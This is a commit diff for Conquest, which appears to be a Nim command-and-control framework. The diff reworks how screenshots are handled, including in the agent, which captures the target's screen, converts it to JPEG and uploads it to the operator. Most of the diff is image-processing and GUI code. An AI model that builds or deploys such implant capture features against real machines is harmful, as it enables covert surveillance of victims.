Made changes to screenshot handling.
This commit is contained in:
@@ -1,8 +1,6 @@
|
||||
# Conquest default configuration file
|
||||
|
||||
name = "cq-default-profile"
|
||||
|
||||
|
||||
# Important file paths and locations
|
||||
private-key-file = "data/keys/conquest-server_x25519_private.key"
|
||||
database-file = "data/conquest.db"
|
||||
@@ -11,7 +9,7 @@ database-file = "data/conquest.db"
|
||||
[team-server]
|
||||
port = 37573
|
||||
|
||||
[server.users]
|
||||
[team-server.users]
|
||||
|
||||
|
||||
# General agent settings
|
||||
|
||||
@@ -5,7 +5,7 @@ import ../fonticon/IconsFontAwesome6
|
||||
#--------------
|
||||
#--- zoomGlass
|
||||
#--------------
|
||||
proc zoomGlass*(textureID: var uint32, itemWidth:int, itemPosTop, itemPosEnd:ImVec2 , capture = false) =
|
||||
proc zoomGlass*(textureID: var uint32, itemWidth:int, itemPosTop, itemPosEnd:ImVec2 , capture = false, zoom: float = 4.0f) =
|
||||
# itemPosTop and itemPosEnd are absolute position in main window.
|
||||
if igBeginItemTooltip():
|
||||
defer: igEndTooltip()
|
||||
@@ -23,7 +23,6 @@ proc zoomGlass*(textureID: var uint32, itemWidth:int, itemPosTop, itemPosEnd:ImV
|
||||
let region_sz = 32.0f
|
||||
var region_x = pio.MousePos.x - itemPosTop.x - region_sz * 0.5f
|
||||
var region_y = pio.MousePos.y - itemPosTop.y - region_sz * 0.5f
|
||||
let zoom = 4.0f
|
||||
if region_x < 0.0f:
|
||||
region_x = 0.0f
|
||||
elif region_x > (my_tex_w - region_sz):
|
||||
|
||||
@@ -126,7 +126,7 @@ proc draw*(component: ScreenshotsComponent, showComponent: ptr bool, connection:
|
||||
let texture = component.textures[item.path]
|
||||
|
||||
igImage(ImTextureRef(internal_TexData: nil, internal_TexID: texture.textureId), vec2(texture.width, texture.height), vec2(0, 0), vec2(1, 1))
|
||||
|
||||
|
||||
else:
|
||||
igText("Select item for preview.")
|
||||
igEndChild()
|
||||
@@ -104,6 +104,9 @@ proc draw*(component: ListenerModalComponent): UIListener =
|
||||
|
||||
else:
|
||||
for host in callbackHosts.splitLines():
|
||||
if host.isEmptyOrWhitespace():
|
||||
continue
|
||||
|
||||
hosts &= ";"
|
||||
let hostParts = host.split(":")
|
||||
if hostParts.len() == 2:
|
||||
|
||||
@@ -28,10 +28,28 @@ when defined(agent):
|
||||
|
||||
import winim/lean
|
||||
import winim/inc/wingdi
|
||||
import strutils, strformat, times
|
||||
import strutils, strformat, times, pixie
|
||||
import stb_image/write as stbiw
|
||||
import ../agent/protocol/result
|
||||
import ../common/[utils, serialize]
|
||||
|
||||
proc bmpToJpeg(data: seq[byte], quality: int = 80): seq[byte] =
|
||||
let img: Image = decodeImage(Bytes.toString(data))
|
||||
|
||||
# Convert to JPEG image for smaller file size
|
||||
var rgbaData = newSeq[byte](img.width * img.height * 4)
|
||||
var i = 0
|
||||
for y in 0..<img.height:
|
||||
for x in 0..<img.width:
|
||||
let color = img[x, y]
|
||||
rgbaData[i] = color.r
|
||||
rgbaData[i + 1] = color.g
|
||||
rgbaData[i + 2] = color.b
|
||||
rgbaData[i + 3] = color.a
|
||||
i += 4
|
||||
|
||||
return stbiw.writeJPG(img.width, img.height, 4, rgbaData, quality)
|
||||
|
||||
proc takeScreenshot(): seq[byte] =
|
||||
|
||||
var
|
||||
@@ -140,8 +158,8 @@ when defined(agent):
|
||||
echo protect(" [>] Taking and uploading screenshot.")
|
||||
|
||||
let
|
||||
screenshotFilename: string = fmt"screenshot_{getTime().toUnix()}.bmp"
|
||||
screenshotBytes: seq[byte] = takeScreenshot()
|
||||
screenshotFilename: string = fmt"screenshot_{getTime().toUnix()}.jpeg"
|
||||
screenshotBytes: seq[byte] = bmpToJpeg(takeScreenshot())
|
||||
|
||||
var packer = Packer.init()
|
||||
|
||||
|
||||
@@ -146,15 +146,14 @@ proc sendBuildlogItem*(client: WsConnection, logType: LogType, message: string)
|
||||
if client != nil:
|
||||
client.ws.sendEvent(event, client.sessionKey)
|
||||
|
||||
proc createThumbnail(data: string, maxWidth: int = 1024, quality: int = 90): string =
|
||||
proc createThumbnail(data: string, maxHeight: int = 1024, quality: int = 80): string =
|
||||
let img: Image = decodeImage(data)
|
||||
|
||||
let aspectRatio = img.height.float / img.width.float
|
||||
let
|
||||
width = min(maxWidth, img.width)
|
||||
height = int(width.float * aspectRatio)
|
||||
|
||||
# Resize image
|
||||
let aspectRatio = img.width.float / img.height.float
|
||||
let
|
||||
height = min(maxHeight, img.height)
|
||||
width = int(height.float * aspectRatio)
|
||||
let thumbnail = img.resize(width, height)
|
||||
|
||||
# Convert to JPEG image for smaller file size
|
||||
|
||||
Reference in New Issue
Block a user